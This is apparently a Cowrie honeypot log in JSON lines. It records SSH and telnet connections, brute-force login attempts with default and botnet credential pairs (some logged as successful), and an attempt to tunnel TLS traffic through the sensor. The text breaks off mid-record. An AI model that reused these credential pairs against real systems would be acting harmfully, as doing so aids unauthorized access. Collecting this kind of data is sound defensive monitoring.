{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":39882,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f100275e07f","protocol":"ssh","message":"New connection: 156.232.13.218:39882 (10.17.0.5:22) [session: 2f100275e07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.914720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.919600Z","src_ip":"156.232.13.218","session":"2f100275e07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.991467Z","src_ip":"156.232.13.218","session":"2f100275e07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:52.305633Z","src_ip":"156.232.13.218","session":"2f100275e07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.379130Z","src_ip":"156.232.13.218","session":"2f100275e07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":40172,"dst_ip":"10.17.0.5","dst_port":22,"session":"87334e56c377","protocol":"ssh","message":"New connection: 156.232.13.218:40172 (10.17.0.5:22) [session: 87334e56c377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.446613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.451080Z","src_ip":"156.232.13.218","session":"87334e56c377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.521516Z","src_ip":"156.232.13.218","session":"87334e56c377","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.837587Z","src_ip":"156.232.13.218","session":"87334e56c377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.909225Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:53.913443Z","src_ip":"156.232.13.218","session":"87334e56c377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":31019,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e8969b17f37","protocol":"ssh","message":"New connection: 185.246.130.20:31019 (10.17.0.5:22) [session: 7e8969b17f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:23.226846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:24.934288Z","src_ip":"185.246.130.20","session":"7e8969b17f37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:25.214410Z","src_ip":"185.246.130.20","session":"7e8969b17f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:30.897113Z","src_ip":"185.246.130.20","session":"7e8969b17f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:32.104275Z","src_ip":"185.246.130.20","session":"7e8969b17f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:35.131299Z","src_ip":"185.246.130.20","session":"7e8969b17f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:48:42.887645Z","src_ip":"185.246.130.20","session":"7e8969b17f37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":46020,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6289ff57766","protocol":"telnet","message":"New connection: 130.12.180.174:46020 (159.203.135.109:23) [session: a6289ff57766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:49:08.396194Z"}
{"eventid":"cowrie.session.closed","duration":0.5008547306060791,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:49:08.896894Z","src_ip":"130.12.180.174","session":"a6289ff57766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":45792,"dst_ip":"159.203.135.109","dst_port":23,"session":"e494436c61b1","protocol":"telnet","message":"New connection: 185.242.3.105:45792 (159.203.135.109:23) [session: e494436c61b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:51:39.003096Z"}
{"eventid":"cowrie.session.closed","duration":30.219677686691284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:52:09.222658Z","src_ip":"185.242.3.105","session":"e494436c61b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":53750,"dst_ip":"159.203.135.109","dst_port":22,"session":"662edb117d56","protocol":"ssh","message":"New connection: 77.90.185.17:53750 (159.203.135.109:22) [session: 662edb117d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:56:58.402154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:56:58.406757Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:56:58.508252Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:56:59.005772Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.143.91","dst_port":443,"src_ip":"77.90.185.17","src_port":52832,"message":"direct-tcp connection request to 34.251.143.91:443 from 127.0.0.1:52832","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:56:59.841753Z","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.143.91","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.143.91:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:00.013578Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.143.91","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\x18-v\\xa5\\x0b\\x945N3`E\\xe8q&\\xce\\x1fFP\\xb0+\\x01\\xa1\\xf1}bp\\x14\\xa4r\\xf3\\x7f 6\\xa1\\xaf\\x10\\n\\xbd\\xecN\\xf9\\xd2\\x9d]g\\x98\\x8b\\x97\\xbaK\\xe3g\\xf0\\x02\\x9a=\\xc9u\\xc2\\xd0\\xc5\\x85g\\x0b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe1|\\xa6z8\\x94\\xc1!\\xa5\\xfc\\x91%F\\xf8\\xfde1 \\xcf\\xa1{L\\x08D>\\xe4'\\x87\\xc2\\xdal\\x07\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.143.91:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\x18-v\\xa5\\x0b\\x945N3`E\\xe8q&\\xce\\x1fFP\\xb0+\\x01\\xa1\\xf1}bp\\x14\\xa4r\\xf3\\x7f 6\\xa1\\xaf\\x10\\n\\xbd\\xecN\\xf9\\xd2\\x9d]g\\x98\\x8b\\x97\\xbaK\\xe3g\\xf0\\x02\\x9a=\\xc9u\\xc2\\xd0\\xc5\\x85g\\x0b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe1|\\xa6z8\\x94\\xc1!\\xa5\\xfc\\x91%F\\xf8\\xfde1 \\xcf\\xa1{L\\x08D>\\xe4'\\x87\\xc2\\xdal\\x07\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:00.017564Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.32.24.235","dst_port":443,"src_ip":"77.90.185.17","src_port":53342,"message":"direct-tcp connection request to 23.32.24.235:443 from 127.0.0.1:53342","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:00.910089Z","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.32.24.235","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.32.24.235:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:01.154871Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.32.24.235","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\xfcX\\xc8\\x01\\xaf\\xc2\\x19 \\xae\\x10\\x97$\\xe2\\xaf\\x1c\\x08a\\x86\\xb1\\xaf\\x0bF\\t\\x19c\\x10#R\\xf1\\x13\\xf6 \\xce\\xc1\\xca=\\xec\\xcb\\x129\\xa1+y\\xc0\\t\\x80V\\xd4\\x8f\\xe1\\xbcl\\x9d\\x99\\x18\\xd4\\xa0`Q/\\x13h\\rs\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x06R\\xbe\\xab\\x7f\\xa5n?B\\xc9\\xf2\\x8b\\xc4\\xe5\\xa3S\\x9bu\\x9aA\\x19\\x05\\xa9\\xcf\\xb29\\xfe\\xafW\\x90\\x02^\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\